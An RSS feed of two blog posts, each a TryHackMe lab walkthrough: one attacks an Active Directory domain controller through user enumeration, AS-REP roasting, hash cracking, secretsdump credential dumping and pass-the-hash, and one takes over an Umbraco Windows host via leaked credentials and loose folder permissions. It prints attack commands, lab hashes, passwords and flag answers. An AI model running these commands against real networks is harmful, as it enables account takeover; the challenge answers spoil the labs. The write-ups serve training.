<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by Karan Chaudhary on Medium]]></title>
        <description><![CDATA[Stories by Karan Chaudhary on Medium]]></description>
        <link>https://medium.com/@0xkaran?source=rss-43c2283dfa8f------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/1*eXz8GNW6txNOIabtHr91og.jpeg</url>
            <title>Stories by Karan Chaudhary on Medium</title>
            <link>https://medium.com/@0xkaran?source=rss-43c2283dfa8f------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Tue, 17 Nov 2026 06:41:26 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@0xkaran/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[THM — Attacktive Directory [Walkthrough]]]></title>
            <link>https://0xkaran.medium.com/thm-attacktive-directory-walkthrough-d52da91fb923?source=rss-43c2283dfa8f------2</link>
            <guid isPermaLink="false">https://medium.com/p/d52da91fb923</guid>
            <category><![CDATA[penetration-testing]]></category>
            <category><![CDATA[hacking]]></category>
            <category><![CDATA[cyber-security-awareness]]></category>
            <category><![CDATA[active-directory]]></category>
            <category><![CDATA[red-teaming]]></category>
            <dc:creator><![CDATA[Karan Chaudhary]]></dc:creator>
            <pubDate>Fri, 11 Jul 2025 11:36:49 GMT</pubDate>
            <atom:updated>2025-07-11T11:39:14.105Z</atom:updated>
            <content:encoded><![CDATA[<h3>THM — Attacktive Directory [Walkthrough]</h3><h4>A Hands-On Guide to Exploiting Active Directory in a Simulated Enterprise Environment</h4><h4><strong>✅ Disclaimer</strong></h4><p>Don’t use this write-up for quick and easy answers — instead, use it to develop your understanding. I’ve also explained my approach and mindset while solving the challenge. If you face any problem and have query you can connect with me at: <a href="https://www.linkedin.com/in/0xkaran/">LinkedIn</a> | <a href="https://x.com/0xkaran">X/Twitter</a> | <a href="https://www.instagram.com/0xkaran_/">Instagram</a>.</p><p>Challenge URL: <a href="https://tryhackme.com/room/attacktivedirectory">https://tryhackme.com/room/attacktivedirectory</a></p><p><strong>Note:</strong> We’re directly proceeding with <strong>Task 3</strong>.</p><p>If you haven’t set up the required tools like Impacket, you can either:</p><ul><li>Use the <strong>THM AttackBox</strong> for quick access</li><li>Or follow the challenge instructions, YouTube videos, or AI guidance to install them manually</li></ul><h4>✅ Task 3: Welcome to Attacktive Directory</h4><p>We’ll first start with nmap scan using: nmap -sV -A -oN nmap.txt x.x.x.x</p><pre># Nmap 7.95 scan initiated Wed Jul  9 14:54:10 2025 as: /usr/lib/nmap/nmap --privileged -sV -A -oN nmap.txt 10.10.78.153<br>Nmap scan report for 10.10.78.153<br>Host is up (0.18s latency).<br>Not shown: 986 closed tcp ports (reset)<br>PORT     STATE SERVICE       VERSION<br>53/tcp   open  domain        Simple DNS Plus<br>80/tcp   open  http          Microsoft IIS httpd 10.0<br>|_http-title: IIS Windows Server<br>| http-methods: <br>|_  Potentially risky methods: TRACE<br>|_http-server-header: Microsoft-IIS/10.0<br>88/tcp   open  kerberos-sec  Microsoft Windows Kerberos (server time: 2025-07-09 09:34:35Z)<br>135/tcp  open  msrpc         Microsoft Windows RPC<br>139/tcp  open  netbios-ssn   Microsoft Windows netbios-ssn<br>389/tcp  open  ldap          Microsoft Windows Active Directory LDAP (Domain: spookysec.local0., Site: Default-First-Site-Name)<br>445/tcp  open  microsoft-ds?<br>464/tcp  open  kpasswd5?<br>593/tcp  open  ncacn_http    Microsoft Windows RPC over HTTP 1.0<br>636/tcp  open  tcpwrapped<br>3268/tcp open  ldap          Microsoft Windows Active Directory LDAP (Domain: spookysec.local0., Site: Default-First-Site-Name)<br>3269/tcp open  tcpwrapped<br>3389/tcp open  ms-wbt-server Microsoft Terminal Services<br>| ssl-cert: Subject: commonName=AttacktiveDirectory.spookysec.local<br>| Not valid before: 2025-07-08T08:17:42<br>|_Not valid after:  2026-01-07T08:17:42<br>| rdp-ntlm-info: <br>|   Target_Name: THM-AD<br>|   NetBIOS_Domain_Name: THM-AD<br>|   NetBIOS_Computer_Name: ATTACKTIVEDIREC<br>|   DNS_Domain_Name: spookysec.local<br>|   DNS_Computer_Name: AttacktiveDirectory.spookysec.local<br>|   Product_Version: 10.0.17763<br>|_  System_Time: 2025-07-09T09:35:00+00:00<br>|_ssl-date: 2025-07-09T09:35:08+00:00; 0s from scanner time.<br>5985/tcp open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)<br>|_http-title: Not Found<br>|_http-server-header: Microsoft-HTTPAPI/2.0<br>No exact OS matches for host (If you know what OS is running on it, see &lt;https://nmap.org/submit/&gt; ).<br>TCP/IP fingerprint:<br>[...]</pre><blockquote><strong><em>⏰ Question:</em></strong><em> What tool will allow us to enumerate port 139/445?</em></blockquote><p>💡 <strong>Solution:</strong> There are multiple tools like <em>enum4linux</em>, <em>smbclient</em>, <em>smbenum</em>, <em>crackmapexec</em> and <em>nmap</em> with <em>— script smb-*</em>. But one stop solution is <em>enum4linux</em>, because it combines several SMB enumeration techniques in one script, gathering users, shares, domains, policies, and other info efficiently using underlying tools like <em>smbclient</em>, <em>rpcclient</em>, and <em>nmblookup</em>.</p><p>Remember enum4linux is an older, slower Bash-based tool, whereas enum4linux-ng is a newer, faster Python rewrite with improved performance.</p><p>🔑 <strong>Answer:</strong> enum4linux</p><blockquote><strong><em>⏰ Question:</em></strong><em> What is the NetBIOS-Domain Name of the machine?</em></blockquote><p>💡 <strong>Solution:</strong> Answer revealed in nmap scan.</p><p>🔑 <strong>Answer:</strong> THM-AD</p><blockquote><strong><em>⏰ Question:</em></strong><em> What invalid TLD do people commonly use for their Active Directory Domain?</em></blockquote><p>💡 <strong>Solution:</strong> In nmap result we can see DNS_Domain_Name: spookysec.local. The term “invalid” here means non-resolvable or non-public via the global DNS other than .com, .in or .co.uk</p><p>🔑 <strong>Answer:</strong> .local</p><h4>✅ Task 4: Enumerating Users via Kerberos</h4><p>Whenever you hear the word <em>Kerberos</em>, some keywords should immediately come to your mind, like port 88, 389, Domain Controller, Kerbrute, CrackMapExec, Password Spray, AS-REP Roasting, Pass-the-Hash, TGT, TGS, etc.</p><blockquote><strong><em>⏰ Question:</em></strong><em> What command within Kerbrute will allow us to enumerate valid usernames?</em></blockquote><p>💡 <strong>Solution:</strong> This command is used to enumerate valid usernames on DC kerbrute userenum -d &lt;domain&gt; users.txt --dc &lt;ip&gt;. After the tool name userenum parent flag is supplied.</p><p>🔑 <strong>Answer:</strong> username</p><blockquote><strong><em>⏰ Question:</em></strong><em> What notable account is discovered? (These should jump out at you)</em></blockquote><p>💡 <strong>Solution:</strong> Using challenge supplied userslist.txt and below command, found service admin username. kerbrute userenum --dc 10.10.207.199 -d spookysec.local userlist.txt</p><p>🔑 <strong>Answer:</strong> svc-admin</p><blockquote><strong><em>⏰ Question:</em></strong><em> What is the other notable account is discovered? (These should jump out at you)</em></blockquote><p>💡 <strong>Solution:</strong> Out of general usernames, backup user is interesting because this can contain backups of admin or other user related files/password/sensitive data or sometimes delegations.</p><p>🔑 <strong>Answer:</strong> backup</p><h4>✅ Task 5: Abusing Kerberos</h4><p>There are multiple ways to abuse Kerberos, but this task is related to <strong>ASREPRoasting</strong>.</p><p>What is ASREPRoasting?</p><p>AS-REP Roasting targets AD users with the DONT_REQUIRE_PREAUTH flag. These users don’t need to prove their identity before requesting a Kerberos ticket (AS-REP).</p><p>An attacker can:</p><ul><li>Request an Authentication Server Response (AS-REP) for such users without credentials</li><li>Receive a TGT encrypted with the user’s NTLM hash</li><li>Crack the hash offline to get the cleartext password</li></ul><p>No login or interaction with the user is needed.</p><p><strong>Tools:</strong></p><ul><li>Impacket <a href="http://getnpusers.py/">GetNPUsers.py</a></li><li>Rubeus</li></ul><blockquote><strong><em>⏰ Question:</em></strong><em> We have two user accounts that we could potentially query a ticket from. Which user account can you query a ticket from with no password?</em></blockquote><p>💡 <strong>Solution:</strong> Using the users list identified from previous task, run this command, change IP with yours.python3 GetNPUsers.py THM-AD/ -no-pass -usersfile users.txt -dc-ip 10.10.170.111</p><pre>└─$ python3 GetNPUsers.py THM-AD/ -no-pass -usersfile ~/Desktop/tryhackme/attacktivedirectory/users_valid.txt -dc-ip 10.10.170.111         <br>/opt/impacket/py_venv/lib/python3.13/site-packages/impacket/version.py:12: UserWarning: pkg_resources is deprecated as an API. See &lt;https://setuptools.pypa.io/en/latest/pkg_resources.html&gt;. The pkg_resources package is slated for removal as early as 2025-11-30. Refrain from using this package or pin to Setuptools&lt;81.<br>  import pkg_resources<br>Impacket v0.13.0.dev0+20250708.155831.171a324d - Copyright Fortra, LLC and its affiliated companies <br><br>[-] User james doesn&#39;t have UF_DONT_REQUIRE_PREAUTH set<br>$krb5asrep$23$svc-admin@THM-AD:57171b8f42aa6c5cac6d0a017587790a$5a626e70e8da8052b1b2a03d02efbaa27a5f61656734b9b9fda1b8f4115ff2041733978ca46fe946d680257febd004064c0f70a3d545d38a2409238fb2a57da62b584e854401f00c7a1ff77769dbe11d70a0c826cc56e8869c95d2e7cb6948cfeb79e86564c08435e201e75456df9108b68cfe9f800ec63f2fefc00d725401fef6cfcf545ccfe0f19993aae23b27f09d93d38810eb4602a720073a0124e62342774477b3338991d1973397d2590de680a14e78a2d1dbdb8df28bd026c71b8fcbcb1d56ef67467f19e657a7f3d1bf296f69cec03147ebad4d1a351d6b9ad562edc0efc6d254c49f2ffd<br>[-] User James doesn&#39;t have UF_DONT_REQUIRE_PREAUTH set<br>[-] User robin doesn&#39;t have UF_DONT_REQUIRE_PREAUTH set<br>[-] User darkstar doesn&#39;t have UF_DONT_REQUIRE_PREAUTH set<br>[-] User administrator doesn&#39;t have UF_DONT_REQUIRE_PREAUTH set<br>[-] User backup doesn&#39;t have UF_DONT_REQUIRE_PREAUTH set<br>[-] User paradox doesn&#39;t have UF_DONT_REQUIRE_PREAUTH set<br>[-] User JAMES doesn&#39;t have UF_DONT_REQUIRE_PREAUTH set<br>[-] User Robin doesn&#39;t have UF_DONT_REQUIRE_PREAUTH set<br>[-] User Administrator doesn&#39;t have UF_DONT_REQUIRE_PREAUTH set<br>[-] User Darkstar doesn&#39;t have UF_DONT_REQUIRE_PREAUTH set<br>[-] User Paradox doesn&#39;t have UF_DONT_REQUIRE_PREAUTH set<br>[-] User DARKSTAR doesn&#39;t have UF_DONT_REQUIRE_PREAUTH set<br>[-] User ori doesn&#39;t have UF_DONT_REQUIRE_PREAUTH set<br>[-] User ROBIN doesn&#39;t have UF_DONT_REQUIRE_PREAUTH set</pre><p>2nd line contains Authentication Server Response (AS-REP) for user svc-admin, which means this user does not need to authenticate to request AS-REP.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*n5JsfgFrHfwa26LwEnL2ag.png" /></figure><p>🔑 <strong>Answer:</strong> svc-admin</p><blockquote><strong><em>⏰ Question:</em></strong><em> Looking at the Hashcat Examples Wiki page, what type of Kerberos hash did we retrieve from the KDC? (Specify the full name)</em></blockquote><p>💡 <strong>Solution:</strong> <a href="https://hashcat.net/wiki/doku.php?id=example_hashes">Hashcat example wiki</a>. Search this keyword on hashcat example wiki page. Hash example is also similar to what we’ve identifed, which means this is the correct row.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*zGaIxLuFX6eNVbeW2_TQHw.png" /></figure><p>🔑 <strong>Answer:</strong> Kerberos 5 AS-REP etype 23</p><blockquote><strong><em>⏰ Question:</em></strong><em> What mode is the hash?</em></blockquote><p>💡 <strong>Solution:</strong> Columns → Hash mode | Hash name | Hash example</p><p>🔑 <strong>Answer:</strong> 18200</p><blockquote><strong><em>⏰ Question:</em></strong><em> Now crack the hash with the modified password list provided, what is the user accounts password?</em></blockquote><p>💡 <strong>Solution:</strong> Using this hashcat command, hash mode and password list provided by challenge I was able to crack the password, just save the whole hash in a text file.</p><p>hashcat -m 18200 -a 0 svc-admin-hash.txt passwordlist.txt</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*aApAEyb5reKsqnkss8uqqQ.png" /></figure><p>🔑 <strong>Answer:</strong> management2005</p><h4>✅ Task 6: Back To Basics</h4><blockquote><strong><em>⏰ Question:</em></strong><em> What utility can we use to map remote SMB shares?</em></blockquote><p>💡 <strong>Solution:</strong> Primary tool is SMBmap &amp; secondary is SMBClient</p><p>🔑 <strong>Answer:</strong> smbclient</p><blockquote><strong><em>⏰ Question:</em></strong><em> Which option will list shares?</em></blockquote><p>💡 <strong>Solution:</strong> See help</p><p>🔑 <strong>Answer:</strong> -L</p><blockquote><strong><em>⏰ Question:</em></strong><em> How many remote shares is the server listing?</em></blockquote><p>💡 <strong>Solution:</strong> Use this command to list shares using svc-admin credentials</p><p>smbclient -L //&lt;IP&gt; -U &#39;&lt;USERNAME&gt;%&lt;PASSWORD&gt;&#39;</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*IZOhOlHH49sdVLZS_zkCJg.png" /></figure><p>🔑 <strong>Answer:</strong> 6</p><blockquote><strong><em>⏰ Question:</em></strong><em> There is one particular share that we have access to that contains a text file. Which share is it?</em></blockquote><p>💡 <strong>Solution:</strong> I like smbmap to list and view permissions and smbclient to interact, so I used smbmap for this question with below command.</p><p>smbmap -H &lt;target_ip&gt; -u &lt;username&gt; -p &lt;password&gt;</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*iUKPHueh8okhLNKknC5YQA.png" /></figure><p>🔑 <strong>Answer:</strong> backup</p><blockquote><strong><em>⏰ Question:</em></strong><em> What is the content of the file?</em></blockquote><p>💡 <strong>Solution:</strong> Interact with shares using smbclient with below command, to view the content of the file, either you can download the file in your attacker machine or use more command</p><p>smbclient //10.10.170.111/backup -U &#39;svc-admin%management2005&#39;</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*PeXvl6p7bNpBN1A5o7tWSA.png" /></figure><p>🔑 <strong>Answer:</strong> YmFja3VwQHNwb29reXNlYy5sb2NhbDpiYWNrdXAyNTE3ODYw</p><blockquote><strong><em>⏰ Question:</em></strong><em> Decoding the contents of the file, what is the full contents?</em></blockquote><p>💡 <strong>Solution:</strong> It looks like Base64 encoding because the string consists of only Base64-valid characters (A–Z, a–z, 0–9, +, /)</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*kdyWSLChFL7i6LGTd1FjaQ.png" /></figure><p>🔑 <strong>Answer:</strong> backup@spookysec.local:backup2517860</p><h4>✅ Task 7: Elevating Privileges within the Domain</h4><p>Till now we’ve 2 users credentials:</p><ul><li>svc-admin:management2005</li><li>backup:backup2517860</li></ul><p>But we still have not identified domain controller administrator’s credential. According to the challenge backup user is a unique because it has permission that allows Active Directory changes to be synced with this user account. Which means it can do certain admin actions like replicate AD data including password hashes (which is important).</p><p>Our goal is to use this account and dump all password hashes of account that is synced with, most probably it is admin who has similar level of permissions.</p><p>We are going to use Impacket’s <a href="http://secretsdump.py/">secretsdump.py</a>.</p><blockquote><strong><em>⏰ Question:</em></strong><em> What method allowed us to dump NTDS.DIT?</em></blockquote><p>💡 <strong>Solution:</strong> python3 secretsdump.py spookysec.local/backup:backup2517860@10.10.170.111</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*-kQeVa4AWhZFMXFhBbZwPw.png" /></figure><p>🔑 <strong>Answer:</strong> DRSUAPI</p><blockquote><strong><em>⏰ Question:</em></strong><em> What is the Administrators NTLM hash?</em></blockquote><p>💡 <strong>Solution:</strong> From the previous output</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Iq-CBUHBAiDDoXdnO3AwWA.png" /></figure><p>🔑 <strong>Answer:</strong> 0e0363213e37b94221497260b0bcb4fc</p><blockquote><strong><em>⏰ Question:</em></strong><em> What method of attack could allow us to authenticate as the user without the password?</em></blockquote><p>💡 <strong>Solution:</strong> When we have NTLM hash of a user instead of plaintext password. Pass-The-Hash is used to authenticate.</p><p>🔑 <strong>Answer:</strong> Pass The Hash</p><blockquote><strong><em>⏰ Question:</em></strong><em> Using a tool called Evil-WinRM what option will allow us to use a hash?</em></blockquote><p>💡 <strong>Solution:</strong> View help</p><p>🔑 <strong>Answer:</strong> -H</p><h4>✅ Task 8: Flag Submission Panel</h4><p>Now we’ve identified 3 users</p><ul><li>svc-admin:management2005</li><li>backup:backup2517860</li><li>administrator:0e0363213e37b94221497260b0bcb4fc (NTLM hash)</li></ul><p>Goal is to read the flags of each users which is located at each user’s desktop folder.</p><p>Since we already have administrator access who has access to every users and their folder, let’s login via admin creds and access each user’s desktop.</p><p>evil-winrm -i &lt;IP&gt; -u &lt;USERNAME&gt; -H &lt;NTLM HASH&gt;</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*SYmmhMxBXAsnBLAu1X5qmw.png" /></figure><blockquote><strong><em>⏰ Question:</em></strong><em> svc-admin</em></blockquote><p>🔑 <strong>Answer:</strong> TryHackMe{K3rb3r0s_Pr3_4uth}</p><blockquote><strong><em>⏰ Question:</em></strong><em> backup</em></blockquote><p>🔑 <strong>Answer:</strong> TryHackMe{B4ckM3UpSc0tty!}</p><blockquote><strong><em>⏰ Question:</em></strong><em> svc-admin</em></blockquote><p>🔑 <strong>Answer:</strong> TryHackMe{4ctiveD1rectoryM4st3r}</p><p>I hope you found this write-up helpful. Feel free to share it with your friends and explore other useful write-ups on this website. If you have any doubts or want to connect, reach me out.</p><p><a href="https://www.linkedin.com/in/0xkaran/">LinkedIn</a> | <a href="https://x.com/0xkaran">X/Twitter</a> | <a href="https://www.instagram.com/0xkaran_/">Instagram</a>.</p><p>#TryHackMe #ActiveDirectory #Pentesting #CyberSecurity #RedTeam #EthicalHacking #InfoSec #WindowsSecurity #ADEnumeration #THMWriteup #PrivilegeEscalation #CTF #BugBounty #HackingLab #attacktivedirectory</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=d52da91fb923" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[[Walkthrough] Anthem — TryHackMe | Easy Windows]]></title>
            <link>https://0xkaran.medium.com/walkthrough-anthem-tryhackme-easy-windows-513dfbe33ad8?source=rss-43c2283dfa8f------2</link>
            <guid isPermaLink="false">https://medium.com/p/513dfbe33ad8</guid>
            <category><![CDATA[tryhackme]]></category>
            <category><![CDATA[red-team]]></category>
            <category><![CDATA[windows]]></category>
            <category><![CDATA[pentesting]]></category>
            <dc:creator><![CDATA[Karan Chaudhary]]></dc:creator>
            <pubDate>Wed, 09 Jul 2025 10:37:28 GMT</pubDate>
            <atom:updated>2025-07-09T10:37:28.257Z</atom:updated>
            <content:encoded><![CDATA[<h3>[Walkthrough] Anthem — TryHackMe | Easy Windows</h3><p>#anthem #tryhackme #thm #security #pentesting #windows #writeup #0xkaran</p><h4>✅ Disclaimer</h4><p>Don’t use this write-up for quick and easy answers — instead, use it to develop your understanding. I’ve also explained my approach and mindset while solving the challenge. If you face any problem and have query you can connect with me, links are in the end.</p><p>Challenge URL: <a href="https://tryhackme.com/room/anthem">https://tryhackme.com/room/anthem</a></p><h4>✅ Initial Scan</h4><ol><li>Ping was not working: ping 10.10.194.170</li><li>Used Nmap with -Pn to treat the host as online and identify services: nmap -Pn 10.10.194.170</li></ol><pre>$ nmap -Pn 10.10.194.170<br>Starting Nmap 7.95 ( https://nmap.org ) at 2025-07-05 15:57 IST<br>Nmap scan report for 10.10.194.170<br>Host is up (0.19s latency).<br>Not shown: 998 filtered tcp ports (no-response)<br>PORT     STATE SERVICE<br>80/tcp   open  http<br>3389/tcp open  ms-wbt-server<br><br>Nmap done: 1 IP address (1 host up) scanned in 13.19 seconds</pre><h4>✅ Task 1: Website Analysis</h4><p><strong>⏰ Question</strong>: What port is for the web server?</p><p>💡 <strong>Solution:</strong> Identified using the Nmap scan.</p><p>🔑 <strong>Answer</strong>: 80</p><p><strong>⏰ Question</strong>: What port is for remote desktop service?</p><p>💡 <strong>Solution:</strong> Identified using the Nmap scan.</p><p>🔑 <strong>Answer</strong>: 3389</p><p><strong>⏰ Question</strong>: What is a possible password in one of the pages web crawlers check for?</p><p>💡 <strong>Solution:</strong> A web crawler is a bot that automatically browses &amp; indexes web pages for search engine. Web crawlers often check files like sitemap.xml and robots.txt. Upon inspecting robots.txt, a suspicious string was found, which appears to be a possible password.</p><figure><img alt="cxfdfdf" src="https://cdn-images-1.medium.com/max/1024/1*0mNyZFZmF1huIn3DAn_Wwg.png" /></figure><p>🔑 <strong>Answer</strong>: UmbracoIsTheBest!</p><p><strong>⏰ Question</strong>: What CMS is the website using?</p><p>💡 <strong>Solution:</strong> Checked Wappalyzer and html codes but no clues found, but the name “Umbraco” appeared multiple times. Looked it up and turns out it’s a CMS.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*rBl0e2GMSIOeiE0msRNf6g.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*XOR8BLuSr8JO0tUYPdrqcQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*fmQiePPQ7D1TIvWscBiVSw.png" /></figure><p>🔑 <strong>Answer</strong>: Umbraco</p><p><strong>⏰ Question</strong>: What is the domain of the website?</p><p>💡 <strong>Solution:</strong> See website footer</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1016/1*GmdKc3dlJeLKGr3-OdM3TQ.png" /></figure><p>🔑 <strong>Answer</strong>: Anthem.com</p><p><strong>⏰ Question</strong>: What’s the name of the Administrator</p><p>💡 <strong>Solution:</strong> Tried checking author metadata and brute-forcing common files for user info, but didn’t find any useful results.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*8W_N0QMAiVPcOl0rFSgg2A.png" /></figure><p>But there is one blog post looked unusual, it contained a poem. A quick search revealed it’s a known rhyme called <em>Solomon Grundy</em>. Tried the name and confirmed it’s the website administrator.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*L_sHR5WAJVNsJti0BXuhhQ.png" /></figure><p>🔑 <strong>Answer</strong>: Solomon Grundy</p><p><strong>⏰ Question</strong>: Can we find the email address of the administrator?</p><p>💡 <strong>Solution:</strong> Since we found the admin name, let’s try to identify the company’s email pattern because it needs to be consistent for all employees. Different companies would assign different formats for my email.</p><p>For example employee name: Karan Chaudhary</p><p>Emails: Karan.Chaudhary@xyz.com, KC@xyz.com, Karan.C@xyz.com</p><p>Since we already have an employee’s email, Jane Doe with the address JD@anthem.com, we can assume Solomon Grundy’s email would be SG@anthem.com.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*2SZLgoAbqLcz1eQO94TeXg.png" /></figure><p>🔑 <strong>Answer</strong>: SG@anthem.com</p><h4>✅ Task 2: Spot The Flags</h4><p>Upon enumerating the website, like viewing the source code of different pages, we had already identified 2 out of 4 flags.</p><p>To find the remaining 2 flags, I went with a quick and low-effort method that saved me from manually checking each page.</p><p>I crawled all pages using the hakrawler tool, downloaded each page’s response using curl, and then used grep to extract the flag pattern THM{.</p><p>You can also use tools like GoSpider or Burp Suite and search through the history.</p><pre>echo http://x.x.x.x | hakrawler -u | xargs -n1 -P10 curl -s -k | tee responses.txt | grep &#39;THM{&#39;</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*zBGCklBuVVJyXE7B45YWjQ.png" /></figure><p><strong>⏰ Question:</strong> What is flag 1?</p><p>🔑 <strong>Answer:</strong> THM{L0L_WH0_US3S_M3T4}</p><p><strong>⏰ Question:</strong> What is flag 2?</p><p>🔑 <strong>Answer:</strong> THM{G!T_G00D}</p><p><strong>⏰ Question:</strong> What is flag 3?</p><p>🔑 <strong>Answer:</strong> THM{L0L_WH0_D15}</p><p><strong>⏰ Question:</strong> What is flag 4?</p><p>🔑 <strong>Answer:</strong> THM{AN0TH3R_M3TA}</p><h4>✅ Task 3: Final Stage</h4><p><strong>⏰ Question:</strong> Gain initial access to the machine, what is the contents of user.txt?</p><p>💡 <strong>Solution:</strong> Using the credentials we gathered earlier, let’s try accessing the machine. Since we know the RDP service is running, we’ll use that.</p><p><strong>RDP Requirements:</strong></p><ul><li>Remote machine IP: x.x.x.x</li><li>Username: Could be Solomon_Grundy, Solomon, or SG</li><li>Password: UmbracoIsTheBest! (found in robots.txt)</li></ul><p>Choose your RDP client based on your OS. If you’re on Linux, use xfreerdp or rdesktop; for WSL inside Windows, use mstsc; on macOS, go with xfreerdp.</p><p>I’m using Kali Linux, so I’ll use xfreerdp with the following command:</p><pre>xfreerdp3 /u:SG /p:UmbracoIsTheBest! /v:10.10.215.56 /cert:ignore</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*-VopNmReAHyA8MG4tBrgjw.png" /></figure><p>🔑 <strong>Answer:</strong> THM{N00T_NO0T}</p><p><strong>⏰ Question:</strong> Can we spot the admin password?</p><p>💡 <strong>Solution:</strong> Remember to always explore new system with hidden files visible, whether via GUI or command line.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Hjb2MMtZ1qG4O7NH0swV0Q.png" /></figure><p>We don’t have permission to view admin files and folders, but we noticed a backup folder in the root directory.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*0G18kGzMKQ15eRjzzB0AvQ.png" /></figure><p>Upon further enumeration, we found that while we can’t access the file inside the folder, the admin forgot to apply the same restrictive permissions on the <strong>folder</strong> itself, and we have edit access there.</p><p>Let’s assign full control to ourselves, which in turn allows us to modify the permissions of child files as well.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*kF6vazuqdB1WGThSCmkvcQ.png" /></figure><p>Then, change the permissions of restore.txt and read its contents with below steps:</p><ol><li>Right-click the file &gt; Properties</li><li>Go to the <strong>Security</strong> tab</li><li>Click <strong>Edit</strong> &gt; <strong>Add</strong>, and enter the user or group to assign permissions, in our case, it’s SG</li><li>Type SG in the object name field and click <strong>Check Names</strong> to autocomplete</li><li>Assign <strong>Full Control</strong>, apply changes, then open restore.txt</li></ol><p>The file contains the admin password.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*TQCk0pt5vHtH1J1-eaLFJQ.png" /></figure><p>🔑 <strong>Answer:</strong> ChangeMeBaby1MoreTime</p><p><strong>⏰ Question:</strong> Escalate your privileges to root, what is the contents of root.txt?</p><p>💡 <strong>Solution:</strong> Let’s try accessing C:\Users\Administrator\Desktop since CTF flags are commonly stored there. Use the admin password we just obtained to log in.</p><p>🔑 <strong>Answer:</strong> THM{Y0U_4R3_1337}</p><p>I hope you found this write-up helpful. Feel free to share it with your friends and explore other useful write-ups. If you have any doubts/feedback or just want to connect, reach me out at:</p><p><a href="https://www.linkedin.com/in/0xkaran/">LinkedIn</a> | <a href="https://x.com/0xkaran">X/Twitter</a> | <a href="https://www.instagram.com/0xkaran_/">Instagram</a>.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=513dfbe33ad8" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>